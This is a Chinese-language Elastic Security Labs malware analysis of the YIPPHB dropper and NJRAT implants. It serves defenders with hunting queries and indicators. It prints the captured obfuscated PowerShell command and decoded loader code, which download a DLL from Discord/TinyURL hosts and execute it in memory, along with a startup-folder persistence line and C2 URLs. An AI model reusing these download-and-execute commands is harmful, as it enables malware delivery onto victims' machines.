使用 YIPPHB 下载器的时间

Elastic 安全实验室发现了一种有趣的方法,用于阻止 YIPPHB 下载器和 RAT 植入的检测。

27 分钟阅读攻击模式
Doing time with the YIPPHB dropper

主要要点

  • Elastic 安全实验室发现了 12 个活动集群,它们使用类似的 TTP(通过 Unicode 图标串联 Base64 编码字符串)来加载 YIPPHB 下载器。
  • YIPPHB 是一种不复杂但有效的下载器,用于交付 RAT 植入,其历史至少可以追溯到 2022 年 5 月。
  • 初始访问尝试使用嵌入在 Powershell 中的 Unicode 图标来延迟自动化分析。

前言

在查看遥测数据时,Elastic 安全实验室在 Powershell 的执行过程中发现了异常参数。仔细检查后发现,在 Base64 编码的字符串中使用了 Unicode 图标。使用替换机制将图标替换为 ASCII 字符。

将图标替换为 ASCII 字符后,使用重复的收集 Base64 编码文件和反向 URL 的过程来执行下载器和功能齐全的恶意软件植入。下载器和恶意软件植入后来被确定为分别是 YIPPHB 和 NJRAT。

此研究侧重于以下方面

  • 加载程序阶段
  • 下载器阶段
  • RAT 阶段
  • 活动集群
  • 网络基础设施
  • 搜索查询

分析

对此入侵集的分析描述了一种我们认为旨在逃避 PowerShell 命令的自动化分析的混淆方法,我们将其描述为基本的和规范性的。

加载程序阶段

在分析 Elastic 遥测中的 Powershell 命令时,我们观察到嵌入到 Powershell 命令中的 Unicode 图标。使用 Unicode 来混淆 Powershell 命令不是我们观察到的技术。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

虽然此技术不是过于复杂,因为它只是将图标替换为 ASCII 字符,但它具有创造性。除非完全执行 Powershell 命令或利用分析工作流来处理 Unicode 和替换函数,否则此技术可能会延迟对 Base64 编码字符串的自动化分析。

查看 Powershell 命令,我们能够识别出一个简单的过程,用 U 替换 Unicode 手表图标 (⌚⌚⌚)。为了说明发生了什么,我们可以使用 GCHQ 创建的数据分析工具:CyberChef

通过加载“查找/替换”、“解码 Base64”和“解码文本 (UTF-16LE)”配方,我们可以解码 Powershell 字符串。

在解码后的字符串中,我们可以看到如何安装加载程序、后续下载器和植入。

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

加载程序是从 https://tinyurl[.]com/2erph6cs 下载的。TinyURL 是一种流行的 URL 缩短服务,虽然它具有非常合法的用途,但它也可能被滥用来隐藏混入正常网络流量中的恶意 URL。

为了展开 TinyURL,我们可以使用 Unshorten.me 中的 JSON API 终端。

$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
    "requested_url": "tinyurl[.]com/2erph6cs",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
    "usage_count": 3,
    "remaining_calls": 8
}

从 Discord 内容交付网络下载 dllsica.txt 为我们提供了另一个 Base64 编码的字符串。与之前的 Powershell 字符串不同,dllsica.txt 中的字符串可以轻松解码,无需替换。

使用 catbase64xxdhead 命令行工具,我们可以看到它具有 4d5a 的十六进制值,并且文件头中有一个 MZ 魔数。这证实了我们正在分析 PE 文件。

  • cat - 连接文件
  • base64 -D - -D 开关解码 Base64 编码的文件
  • xxd - 创建输入的十六进制转储
  • head - 返回文件的前 10 行
$ cat dllsica.txt | base64 -D | xxd | head

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
...truncated...

接下来,我们取消混淆了二进制文件,将其写入磁盘,然后生成了 SHA-256 哈希。

  • file - 验证文件类型
  • shasum -a 256 - -a 256 开关使用 256 位哈希算法
$ cat dllsica.txt | base64 -D > dllsica.bin

$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2

现在已经收集了加载程序,它将在 NwgoxM.KPJaN 类中执行 PUlGKA 方法。从原始 Base64 解码字符串中

…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:

我们可能会发布有关此加载程序的未来研究,该加载程序通过将自身作为原生支持的 VBscript 复制到用户的启动文件夹中来保持访问权限。

FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");

下载器阶段

从上面的加载程序执行映像中,我们可以看到加载程序使用反向变量 (text = bdw6ufv4/moc[.]lruynit//:sptth) 使用 TinyURL 下载其他文件。使用命令行工具 rev,我们可以更正反向的 URL。

$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev

https://tinyurl[.]com/4vfu6wd

我们可以使用 Unshorten.me JSON API 终端展开 TinyURL,以确定下载器的下载位置。

$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
    "requested_url": "tinyurl[.]com/4vfu6wd",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
    "usage_count": 2,
    "remaining_calls": 9
}

另一个编码文件是从 Discord 下载的:pesica.txt。截至撰写本文时,VirusTotal 报告此文件的检测次数为零。

dllsica.bin 中获取线索,我们可以看到 pesica.txt 使用 UTF-8 编码。为了进一步分析我们的文件,我们需要用 A 替换 ▒▒▒▒ 值,并对生成的字符串进行 Base64 解码。

…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
	Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
	{
	text4 + "\\InstallUtil.exe",
	Convert.FromBase64String(text3)
	});
…truncated…

我们可以使用 CyberChef 堆叠配方来执行这些功能。

解码 pesica.txt 后,我们计算哈希值 bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cfpesica.txt 的解码输出显示 YippHB 模块名称。

...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...

此模块名称是 YIPPHB 的下载器名称的来源。YIPPHB 最初是由安全研究员 Paul Melson 发现的。Paul 于 2022 年 10 月在奥古斯塔 BSides 安全会议上公开披露了此下载器。

使用 Installutil.exe 命令行实用程序执行 YIPPHB 下载器以启动 RAT 阶段。

我们将下一阶段称为 RAT 阶段。我们在此阶段能够收集的所有二进制文件都是 RAT 植入(NJRAT、LIMERAT 和 ASYNCRAT);但是,此入侵集的模块化性质允许使用任何植入类型。

RAT 阶段

现在已经执行了 YIPPHB 下载器,它会拾取原始 Unicode 图标脚本的第二部分以安装 RAT 植入。

…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

RAT 是从 https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt 检索的,该路径从 txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth 反转。

查看文件 10oct8000.txt 文件,我们可以看到它是一个反向的 Base64 编码文件。

=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…

我们可以使用命令行工具 revbase64 更正此文件并对其进行 Base64 解码,并将输出保存为 10oct8000.bin

$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin

10oct8000.bin 的 SHA256 哈希值为 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3。VirusTotal 上报告此文件是 LIMERATNJRAT 恶意软件系列的变种(取决于来源)。

与加载程序和 YIPPHB 下载器一样,我们将查看 RAT 的一些基本功能,但不会完全反转它。研究这些功能使我们能够进行先前的研究,该研究将此样本与 NJRAT 或 LIMERAT 相关联(12)。

RAT 通过连接回命令和控制服务器来启动其执行例程。在单独的线程中,它还会启动键盘记录器例程以收集尽可能多的信息。

对于与命令和控制服务器的连接,RAT 使用列为全局变量的配置信息。victimName 变量 (TllBTiBDQVQ=) 是一个 Base64 编码的字符串,解码为“NYAN CAT”。根据与 已知 NJRAT 代码库的代码相似性,此 C2 配置信息增加了我们对此与 NJRAT 相关的确信。

如果 RAT 连接到正在监听命令的命令和控制服务器,它会发送以下额外信息

  • 受害者名称 ( vn )
  • 硬件 ID
  • 用户名
  • OSFullName
  • OSVersion Servicepack
  • Program Files 文件夹是否以 X86 结尾
  • 是否存在网络摄像头
  • 窗口名称
  • 对注册表的权限检查

如果成功连接到 C2 服务器,操作员可以通过一系列命令与植入程序进行交互。安全研究人员 Hido Cohen 和 CyberMasterV 对这些命令以及 RAT 的整体功能进行了详细解释,此处此处

活动集群

我们能够通过遥测数据运行额外的搜索,以识别出多个活动集群。我们在下面提供了一个 EQL 查询

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

此查询允许我们识别使用 Unicode 字符和 replace 函数的 Powershell 活动。

查看这些结果,我们能够通过变量名称与 Unicode 图标的组合来聚类活动。在最初研究的示例中,一个集群将是变量 iUqm 和 ⌚⌚⌚Unicode 图标。

集群 ID变量Unicode 图标 + 数字流行率百分比(四舍五入)
1ngfYq❞ (U+275E)1%
2Codigo❤ (U+2764)1%
3iUqm⌚ (U+231A)9%
4iUqm⚔ (U+2694)6%
5Codigo⁂ (U+2042)62%
6iUqm✌ (U+270C)1%
7Codigo⏏ (U+23CF)1%
8Cg1O☈ (U+2608)5%
9Codigo♔ (U+2654)10%
10iUqmﭏ (U+FB4F)1%
11Codigo_*/}+/_=1%
12iUqm☈ (U+2608)2%

值得注意的是,集群 11 使用与其他集群相同的所有技术,但它没有使用 Unicode 图标进行替换,而是使用了一系列 ASCII 字符 ( _*/}+/_= )。入侵的操作方式相同,我们不清楚为什么此集群偏离使用 Unicode 图标。

收集和解析网络数据

为了扩展对此入侵集的分析,我们希望自动化从 process.command_line 字段中提取加载器和投放器编码的 URL,以及 RAT 植入程序使用的后续 C2。

加载器和投放器

如加载器和投放器阶段所述,Base64 编码的字符串需要替换 Unicode 图标,并进行反转和解码。完成该过程后,第一个 URL 即可用,而第二个 URL 需要再次反转。

为了避免执行 Powershell 命令本身,我们可以利用文本处理工具 awk。接下来是关于如何进行分析的分解,我们将提供一个包含所有内容的 shell 脚本以供参考。

首先,我们需要访问命令行上的数据,以便将其传递给 awk。我们发布了一个工具,名为 eql-query (以及另一个名为 lucene-query 的工具) 来实现此目的。

使用 eql-query,我们可以运行 EQL 查询来检索最近 180 天的结果,仅检索 process.command_line 字段。从命令行执行此操作的价值在于,它允许我们进一步解析数据并提取其他感兴趣的字符串。

eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'

接下来,使用 jq 将原始字符串传递给 awk,使用 jq '._source.process.command_line' -r | awk

如果正在迭代执行此操作,最好将 eql-query 的结果写入文件,然后在本地操作这些结果,直到您拥有所需的管道。

下一步是捕获 Powershell replace 命令中使用的字符串,以便我们可以自己执行该函数。使用 awk 执行此操作的最佳方法是使用正则表达式捕获它们。

这匹配了 replace 的第一个和第二个参数。第一个参数是 Unicode,并且可能不是 awk 模式的友好格式,因此我们需要先对其进行转义。完成替换后,我们将打印出“干净”的代码、要查找的字符串和替换文本。

function escape_string( str ) {
    gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
    return str
}
{
    match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
    str=escape_string(arr[1]);
    rep=arr[2];
    print gensub(str, rep, "g")
}

最后,我们可以使用 grep 提取 Base64 代码(使用另一个正则表达式)并显示混淆的 Powershell 脚本。

grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'

这自动化了我们在上面的加载器、投放器和 RAT 阶段中概述的手动转换过程。

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

从此文本中解析 URL 应该是另一个简单的 awk 匹配,然后翻转第二个 URL,但是,Powershell 的默认编码是 UTF-16LE,而 awk 仅支持 UTF-8 或 ASCII 编码。一个名为iconv的工具可以执行必要的转换。

echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'

转换完成后,其余的解析就很简单了。我们的输出将包含 url1url2,以及 Unicode 字符串及其替换的副本。URL 分别是每个代码示例的正向和反向 URL。

Unicode 图标替换url1url2
⌚⌚⌚Uhttps://tinyurl[.]com/2erph6cshttps://cdn.discordapp[.]com/...truncated.../10oct8000.txt
⌚⌚⌚Uhttp://91.241.19[.]49/ARTS/dllf3txthttp://91.241.19[.]49/test/new/ZX1.txt
Ahttp://20.231.55[.]108/dll/06-07-2022.PDFhttp://212.192.246[.]226/dsaffdffa.txt

有关更多详细信息或尝试针对您自己的数据,请参阅将所有内容组合在一起的shell 脚本

现在我们已经自动化了加载器和投放器的 URL 的收集和解析,我们可以继续研究 RAT 基础设施。

RAT

正如原始 Powershell 脚本中显而易见的,我们知道 RAT 使用额外的网络基础设施。为了枚举这一点,我们需要像投放器一样下拉 RAT,为前一步中的每个 url1url2 输出获取一组唯一的 URL,遍历每个列表,并使用 curl 下载它们。

此过程需要与对手拥有或控制的基础设施进行交互。与对手的基础设施进行交互需要有纪律的准备,并非所有组织都准备好进行这种准备。如果您对法律考虑因素、防御性网络出口点、沙箱、情报收益/损失策略等没有充分的了解,则以下内容仅供参考。

由于加载器从不将下载的文件保存到磁盘,并且并非总是有文件名,因此为了跟踪样本,我们将使用一个简单的计数器。这给我们带来了这个简单的循环

ctr=1
for line in $(cat ../url-1.txt); do
    curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
    ctr=$((ctr + 1))
done

我们使用 -v 来捕获请求和响应头,使用 -L 来跟踪重定向,使用 --connect-timeout 来在基础设施关闭时加快处理速度。最后,将 curl 输出保存到日志文件,同时将任何下载的文件保存为 file-X,其中 X 是计数器的值。

任何下载的 RAT 文件都是 Base64 编码的。我们可以使用 file 命令识别有效的 Base64 编码文件。Base64 编码文件将被识别为“ASCII 文本,具有很长的行(长度),没有行终止符”,其中 长度 是文件大小。对于匹配此语言的文件,我们将对其进行解码并将其保存为 .dll 扩展名。

for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/  {print $1}'); do
    rev  <"${entry}" | base64 -d >"${entry}.dll"
done

现在我们有了 RAT 二进制文件,我们可以对其进行一些典型的静态分析。如果您有VirusTotal 命令行工具并且可以进行 API 查询,则搜索已知文件是另一个对所有保存的 dll 文件进行简单循环的过程。

for entry in *.dll; do
	hash=$(sha256sum "${entry}" | awk '{print $1}')
	vt search "${hash}" >"${entry}.vt.yml"
done

查看输出,我们可以看到任何带有 0 字节的 yml 文件(vt 命令输出)表示没有匹配项。这些文件对于 VirusTotal 来说是未知的。在此输出中,我们可以看到 file-30.dllfile-31.dllfile-34.dll 对于 VirusTotal 来说是未知的。

$ ls -s *.dll{,.vt.yml}

 32 file-28.dll
 32 file-28.dll.vt.yml
 32 file-30.dll
  0 file-30.dll.vt.yml
 32 file-31.dll
  0 file-31.dll.vt.yml
468 file-34.dll
  0 file-34.dll.vt.yml
 48 file-35.dll
 40 file-35.dll.vt.yml
 80 file-38.dll
 36 file-38.dll.vt.yml

我们要执行的最后分析是尝试从 DLL 中转储任何域名。对于许多可执行文件格式,strings 命令可以提供该信息。不幸的是,这些 DLL 中的大多数是 .Net 程序集,并且 strings 命令将无法从 .Net 程序集中提取字符串。file 命令可以再次帮助我们识别这些,如下例所示

$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

.Net 的好处是它很容易被反汇编,并且 Mono 项目提供了一个专门用于此目的的工具,ikdasm。这给了我们最终的循环来搜索域名或对 HTTP URL 的引用。

for item in *.dll; do
    ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done

有关更多详细信息,您可以参考此shell 脚本,该脚本将分析的第二阶段组合在一起。

钻石模型

Elastic Security 使用钻石模型来描述入侵的对手和受害者之间的高级关系。

观察到的对手战术和技术

Elastic 使用 MITRE ATT&CK 框架来记录高级持续性威胁针对企业网络使用的常见战术、技术和程序。

战术

战术代表技术或子技术的原因。这是对手的战术目标:执行操作的原因。

技术/子技术

技术和子技术表示对手如何通过执行操作来实现战术目标。

检测逻辑

行为规则

狩猎查询

可以使用 KQL 或 EQL 查询来识别 PowerShell 中的 Unicode。

KQL 和 EQL 的事件都通过使用 Elastic Defend 集成的 Elastic Agent 提供。

KQL 查询

在 Kibana 中使用 Discover 应用程序,下面的查询将识别带有 Unicode 字符串的 PowerShell 的使用。虽然这识别了本研究中的所有事件,但它也识别了不属于 REF4526 入侵集一部分的其他事件。

前导和后导通配符 ( * ) 在大量事件中进行搜索可能会很耗时。

process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)

EQL 查询

在 Kibana 中安全解决方案的“时间线”部分下的“关联”选项卡中使用此 链接,此查询将识别带有 Unicode 字符串和 replace 函数的 PowerShell 的使用。这识别了所有观察到的 REF4526 事件。

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

参考资料

以下是在上述研究中引用的内容

可观察对象

所有可观察对象也以组合的 zip 包中 ECS 和 STIX 格式提供下载

以下是本研究中讨论的可观察对象。

可观察对象类型参考备注
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2SHA-256dllsica.bin初始加载程序
bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cfSHA-256pesica.binYIPPHB 下载程序
1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3SHA-25610oct8000NJRAT 植入
https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txturl加载程序阶段NJRAT 下载位置
https://tinyurl[.]com/2erph6csurl加载程序阶段REF4526 加载程序下载位置
https://tinyurl[.]com/4vfu6wdurl下载器阶段YIPPHB 下载位置
wins10ok.duckdns[.]org域名NJRAT C2不适用